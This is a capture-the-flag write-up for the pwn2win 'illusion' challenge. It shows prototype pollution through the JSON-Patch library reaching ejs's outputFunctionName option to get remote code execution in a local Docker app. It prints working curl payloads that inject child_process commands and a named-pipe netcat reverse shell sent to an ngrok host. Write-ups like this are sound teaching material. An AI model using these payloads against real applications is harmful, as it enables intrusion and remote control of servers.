Rating: 5.0
Reading the Dockerfile, we discover the flag is in /root/flag.txt
, there is a script /readFlag
that can access and read it.
We also learn that connecting to the Docker, we will be the user guest
. We have basically no access (especially no reading of /root/flag.txt)
After building the docker image locally, we can start it with port forwarding with sudo docker run -p 127.0.0.1:1337:1337/tcp --name illusion DOCKER_IMAGE_ID
Trying to access the webapp, a login/password is required.
In the code we can see: users: { "admin": process.env.SECRET || "admin" }
If process.env.SECRET is not specified, login is "admin", password is "admin". When trying to solve the challenge, pwn2win gives us our custom admin password.
The webapp is very simple. No button, nothing we can do on the interface.
All services are "online" by default.
We can use our admin:admin basic authentication to interact with it. Security cameras can be put offline using:
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"cameras": "offline"}' \
127.0.0.1:1337/change_status
In the JS code there is an Object:
let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}
They write our input {"cameras": "offline"}'
in the following, service = cameras, status = offline:
{
"op": "replace",
"path": "/" + service,
"value": status
}
Then a library is used to update the services
object we have previously seen:
jsonpatch.applyPatch(services, patch)
Then, when a load the page:
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
services
is sent to a template renderer to fill the status of the different variables. As we put the cameras offline, the website says so.
The template renderer is in ejs.
This is subject to a prototype pollution attack. => https://blog.p6.is/Web-Security-CheatSheet/
TL;DR The following example allow en RCE when the application is using ejs to render a template: Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";
The question is: how to pollute Object prototype?
In this webapp, we cannot do much. Only change status.
The library used for updating the Object services
, and that is interacting with our input, is https://github.com/Starcounter-Jack
This library is protected against modifications of __proto__
. However this protection is not enough to guard against prototype pollution! A patch has been proposed months ago to fix the vulnerability, but has never been merged: https://github.com/Starcounter-Jack/JSON-Patch/pull/262
As services
is an Object, we can pollute the prototype of Object through: services.constructor.prototype
(same prototype as Object).
Connecting on docker, as a guest, we cannot do much. What we can do is create a file in /tmp
.
Let's try to create a file:
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
127.0.0.1:1337/change_status
We must then load the website for the rendering to happen.
Checking tmp ls /tmp
we now have a "test" file.
Well great, we can execute command, but even if we can call cat /readFlag
, we have no way to display the information on the webapp.
For this, I used ngrok. The aim is to have a public IP against which I can send the reverse shell, and that the server behind this public IP will then redirect all that to my VM.
Launching it with port redirection on 12345, nc -lvp 12345
ready to get the reverse shell, we can use mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f
inside our docker
We successfully have a reverse shell.
We can now send the full payload:
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').execSync(`mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc NGROK_PUBLIC_IP NGROK_PORT >/tmp/f`);x" }' \
127.0.0.1:1337/change_status
Browse the webapp, get the reverse shell, cat /readFlag
and we have the flag CTF-BR{f4k3_l0cal_fl4g_f0r_test1ng}
I don't see the test file we created with the touch /tmp/test ?
After sending the payload:
```bash
curl --header "Content-Type: application/json" \
--header "Authorization: Basic YWRtaW46YWRtaW4=" \
--request POST \
--data '{"constructor/prototype/outputFunctionName": "x;process.mainModule.require('\''child_process'\'').exec(`touch /tmp/test`);x" }' \
127.0.0.1:1337/change_status
```
You must visit `http://127.0.0.1:1337/`
After that you can log in the docker container by calling `sudo docker exec -ti illusion sh` (works if named illusion, as described in the writeup).
Inside the docker container, you can `ls /tmp` and you will see the file.